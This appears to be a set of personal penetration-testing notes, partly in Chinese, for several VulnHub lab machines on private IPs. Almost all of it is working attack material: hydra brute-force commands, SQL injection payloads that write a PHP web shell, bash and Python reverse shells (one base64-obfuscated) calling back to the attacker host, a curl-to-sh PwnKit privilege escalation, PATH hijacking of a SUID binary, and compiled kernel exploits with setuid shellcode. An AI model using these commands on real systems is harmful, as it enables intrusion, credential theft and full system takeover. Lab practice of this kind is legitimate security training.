http://192.168.30.136/kzMb5nVYJw/index.php

hydra 192.168.30.136 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l woleyi -P /usr/share/wordlists/rockyou.txt

[80][http-post-form] host: 192.168.30.136   login: woleyi   password: elite # n. 权力集团，上层人士；尖子，精英 adj. 出类拔萃的，精锐的

'
" # 提升语法错误，尝试报错注入
' and 1=1
' and 1=2

" order by 3 --+ 
" union select 'a','b','c'--+ 
" union select 1,2,table_name from information_schema.tables where table_schema=database()--+
# 查出一个users表
" union select 1,2,column_name from information_schema.columns where table_name='users'--+
# 字段为 id user pass position
" union select user,pass,position from users--+

hashid c6d6bd7ebf806f43c76acc3681703b81
# 或
hash-identifier

echo c6d6bd7ebf806f43c76acc3681703b81>hash.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 

omega            (?) 

" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php"--+

http://192.168.30.136/uploads/shell.php?a=cat+/etc/passwd

" union "<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.30.131/4444 0>&1'"); ?>", 2, 3 into outfile "/var/www/html/uploads/resever.php"--+

rlwrap nc -lvnp 4444

sqlmap -u "http://192.168.30.136/kzMb5nVYJw/420search.php?usrtosearch=a" --dump

sqlmap  -u "http://192.168.30.136/kzMb5nVYJw/420search.php?usrtosearch=a" --os-shell

ssh ramses@192.168.30.136 -p 777

ramses@NullByte:~$ whoami;id;uname -a;ip a
ramses
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
Linux NullByte 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17) i686 GNU/Linux
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b6:6a:c3 brd ff:ff:ff:ff:ff:ff
    inet 192.168.30.136/24 brd 192.168.30.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:feb6:6ac3/64 scope link 
       valid_lft forever preferred_lft forever

$dbhost = 'localhost:3036';
$dbuser = 'root';
$dbpass = 'sunnyvale';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);

sudo -l
find / -perm -u=s -type f 2>/dev/null

ramses@NullByte:/var/www/html/kzMb5nVYJw$ sudo -l
[sudo] password for ramses: 
Sorry, user ramses may not run sudo on NullByte.
ramses@NullByte:/var/www/html/kzMb5nVYJw$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/procmail
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/sbin/exim4
/var/www/backup/procwatch
/bin/su
/bin/mount
/bin/umount
/sbin/mount.nfs

ramses@NullByte:/var/www/html/kzMb5nVYJw$ cat ~/.bash_history
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch 
clear
sudo -s
cd /
ls
exit
whoami;id;uname -a;ifconfig
whoami;id;uname -a;ip a
pwd
ls -liah
exit

ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
20011 pts/0    00:00:00 procwatch
20012 pts/0    00:00:00 sh
20013 pts/0    00:00:00 ps

ln -s /bin/sh ps

export PATH=.:$PATH
echo &PATH

./procwatch

chmod 600 id_rsa

ssh -i id_rsa mpampis@192.168.30.140

gobuster dir -u http://192.168.30.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

gobuster dir -u http://192.168.30.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

/index.html           (Status: 200) [Size: 965]
/key.php              (Status: 200) [Size: 287]
/server-status        (Status: 403) [Size: 279]

<form action="" method="POST">
    Enter the key: <input type="text" name="key"/>
    <input type="submit" value="submit">
</form>

hydra -l woleyi -P <密码列表文件> <目标IP> http-post-form "<表单路径>:<表单参数>:<失败提示字符串>"

hydra -l woleyi -P /usr/share/wordlists/fasttrack.txt 192.168.30.140 http-post-form "/key.php:key=^PASS^:can u find the key"
#换大字典
hydra -l woleyi -P /usr/share/wordlists/rockyou.txt 192.168.30.140 http-post-form "/key.php:key=^PASS^:can u find the key"

 ffuf -u http://192.168.30.140/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -e .html,.txt,.php,.key -fc 403 

mpampis@nyx:~$ cat user.txt
2cb67a256530577868009a5944d12637

sudo gcc -wrapper /bin/sh,-s .

http://192.168.30.142/sar2HTML/index.php?plot=LINUX;/etc/passwd

searchsploit sar2html

python3 /usr/share/exploitdb/exploits/php/webapps/49344.py
Enter The url => http://192.168.30.143/sar2HTML/index.php?plot=
Command => id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

bash -i >& /dev/tcp/192.168.30.131/443 0>&1

rlwrap nc -lvnp 443

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjEzMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.30.131",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# 或者功能更全的
export TERM=xterm-256color

sudo -l
# 需要密码

find / -perm -u=s -type f 2>/dev/null
# 虽然很多，但是很明显
/snap/core24/1151/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/pkexec
# 使用命令一键提权
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

GIF89a
<?php @eval($POST['cmd']); ?>

http://192.168.30.156/uploads/avatar_user_a.php

a:4:{s:5:"%site";a:58:{s:4:"skin";s:7:"default";s:17:"frontend_encoding";s:5:"UTF-8";s:7:"useutf8";i:1;s:8:"utf8html";i:1;s:7:"wysiwyg";i:0;s:19:"news_title_max_long";i:100;s:11:"date_adjust";i:0;s:7:"smilies";s:50:"smile,wink,wassat,tongue,laughing,sad,angry,crying";s:18:"allow_registration";i:1;s:18:"registration_level";i:4;s:12:"ban_attempts";i:3;s:18:"allowed_extensions";s:24:"gif,jpg,png,bmp,jpe,jpeg";s:14:"reverse_active";i:0;s:10:"full_popup";i:0;s:17:"full_popup_string";s:49:"HEIGHT=400,WIDTH=650,resizable=yes,scrollbars=yes";s:23:"show_comments_with_full";i:1;s:16:"timestamp_active";s:5:"d M Y";s:11:"use_captcha";i:1;s:18:"reverse_c  omments";i:0;s:10:"flood_time";i:15;s:17:"comments_std_show";i:1;s:16:"comment_max_long";i:1500;s:17:"comments_per_page";i:5;s:23:"only_registered_comment";i:0;s:22:"allow_url_instead_mail";i:1;s:14:"comments_popup";i:0;s:21:"comments_popup_string";s:49:"HEIGHT=400,WIDTH=650,resizable=yes,scrollbars=yes";s:23:"show_full_with_comments";i:1;s:17:"timestamp_comment";s:11:"d M Y h:i a";s:8:"mon_list";s:85:"January,February,March,April,May,June,July,August,September,October,November,December";s:9:"week_list";s:56:"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday";s:15:"active_news_def";i:20;s:21:"thumbnail_with_upload";i:0;s:19:"max_thumbnail_width";i:256;s:15:"auto_news_alias";i:0;s:19:"notify_registration";i:0;s:14:"notify_comment";i:0;s:17:"notify_unapproved";i:0;s:14:"notify_archive";i:0;s:16:"notify_postponed";i:0;s:4:"i18n";s:5:"en_US";s:11:"gplus_width";i:350;s:11:"fb_comments";i:3;s:12:"fb_box_width";i:550;s:6:"ck_ln1";s:120:"Source,Maximize,Scayt,PasteText,Undo,Redo,Find,Replace,-,SelectAll,RemoveFormat,NumberedList,BulletedList,Outdent,Indent";s:6:"ck_ln2";s:33:"Image,Table,HorizontalRule,Smiley";s:6:"ck_ln3";s:18:"Link,Unlink,Anchor";s:6:"ck_ln4";s:33:"Format,FontSize,TextColor,BGColor";s:6:"ck_ln5";s:39:"Bold,Italic,Underline,Strike,Blockquote";s:6:"ck_ln6";s:51:"JustifyLeft,JustifyCenter,JustifyRight,JustifyBlock";s:6:"ck_ln7";s:0:"";s:6:"ck_ln8";s:0:"";s:11:"rw_htaccess";s:0:"";s:9:"rw_prefix";s:6:"/news/";s:15:"http_script_dir";s:21:"http://192.168.56.102";s:11:"uploads_dir";s:22:"/var/www/html/uploads/";s:11:"uploads_ext";s:29:"http://192.168.56.102/uploads";s:9:"rw_layout";s:25:"/var/www/html/example.php";}s:3:"grp";a:5:{i:1;a:4:{s:1:"N";s:5:"admin";s:1:"G";s:1:"*";s:1:"#";b:1;s:1:"A";s:160:"Cd,Cvm,Csc,Cp,Cc,Ct,Ciw,Cmm,Cum,Cg,Cb,Ca,Cbi,Caf,Crw,Csl,Cwp,Cmt,Cpc,Can,Cvn,Ccv,Cen,Clc,Csr,Com,Nes,Neg,Nea,Nvs,Nvg,Nva,Nua,Nud,Ncd,Mes,Meg,Mea,Mds,Mdg,Mda,Mac";}i:2;a:4:{s:1:"N";s:6:"editor";s:1:"G";s:1:"3";s:1:"#";b:1;s:1:"A";s:77:"Cd,Cp,Cmm,Can,Cvn,Nes,Neg,Nea,Nvs,Nvg,Nva,Mes,Meg,Mea,Mds,Mdg,Mda,Mac,Nua,Ncd";}i:3;a:4:{s:1:"N";s:10:"journalist";s:1:"G";s:0:"";s:1:"#";b:1;s:1:"A";s:60:"Cd,Cp,Cmm,Can,Cvn,Nes,Neg,Nvs,Nvg,Mes,Meg,Mds,Mdg,Mac,Bd,Ncd";}i:4;a:4:{s:1:"N";s:9:"commenter";s:1:"G";s:0:"";s:1:"#";b:1;s:1:"A";s:33:"Cd,Cp,Nes,Nvs,Mes,Nes,Mes,Mds,Mac";}i:5;a:4:{s:1:"N";s:3:"ban";s:1:"G";s:0:"";s:1:"#";b:1;s:1:"A";s:7:"Nvs,Cvn";}}s:10:"crypt_salt";s:64:"ff447c00d8312ff1c88bf968f2894466229fb11816f477c7044eb159c4223c07";s:8:"category";a:1:{i:1;a:7:{s:4:"name";s:5:"Goats";s:4:"memo";s:0:"";s:4:"icon";s:0:"";s:3:"acl";s:0:"";s:6:"parent";s:1:"0";s:5:"level";i:0;s:2:"ac";a:0:{}}}}

nug1x7:1
t6c9uv:4

Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux

cd /usr/share/exploitdb/exploits/linux/local
cat 36782.sh
python3 -m http.server 4444

cd /tmp
wget http://192.168.30.131:4444/36782.sh

Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64 Stack Cl | linux_x86-64/local/42275.c

cp 42275.c /home/kali/Desktop/VulnHub/simple/
cd /home/kali/Desktop/VulnHub/simple
gcc 42275.c -o pwned

cat 42275.c

cat > la.c << "EOF"
static void __attribute__ ((constructor)) _init (void) {
    __asm__ __volatile__ (
    "addq $64, %rsp;"
    // setuid(0);
    "movq $105, %rax;"
    "movq $0, %rdi;"
    "syscall;"
    // setgid(0);
    "movq $106, %rax;"
    "movq $0, %rdi;"
    "syscall;"
    // dup2(0, 1);
    "movq $33, %rax;"
    "movq $0, %rdi;"
    "movq $1, %rsi;"
    "syscall;"
    // dup2(0, 2);
    "movq $33, %rax;"
    "movq $0, %rdi;"
    "movq $2, %rsi;"
    "syscall;"
    // execve("/bin/sh");
    "movq $59, %rax;"
    "movq $0x0068732f6e69622f, %rdi;"
    "pushq %rdi;"
    "movq %rsp, %rdi;"
    "movq $0, %rdx;"
    "pushq %rdx;"
    "pushq %rdi;"
    "movq %rsp, %rsi;"
    "syscall;"
    // exit(0);
    "movq $60, %rax;"
    "movq $0, %rdi;"
    "syscall;"
    );
}
EOF
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
xxd -i la.so > la.so.h

python3 -m http.server 8888

wget http://192.168.30.131:8888/pwned
chmod +x pwned
./pwned

# 查看靶机架构
arch

sudo apt update
sudo apt install gcc-multilib
gcc 42275.c -o pwned_32 -m32

wget http://192.168.30.131:8888/pwned_32
chmod +x pwned_32

gcc 42275.c -o pwned_static -m32 -static

./pwned_static target binary

./pwned_static 3 binary

./pwned_static 3 /bin/bash

if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die(); 
// ...
    if (ehdr->e_machine != EM_X86_64) die();

exploitdb
cd exploits/linux/local
cp 37088.c /home/kali/

cd /home/kali/Desktop/VulnHub/simple
gcc 37088.c -o exploit 

gcc 37088.c -o exploit_32 -m32

gcc 37088.c -o exploit_static -m32 -static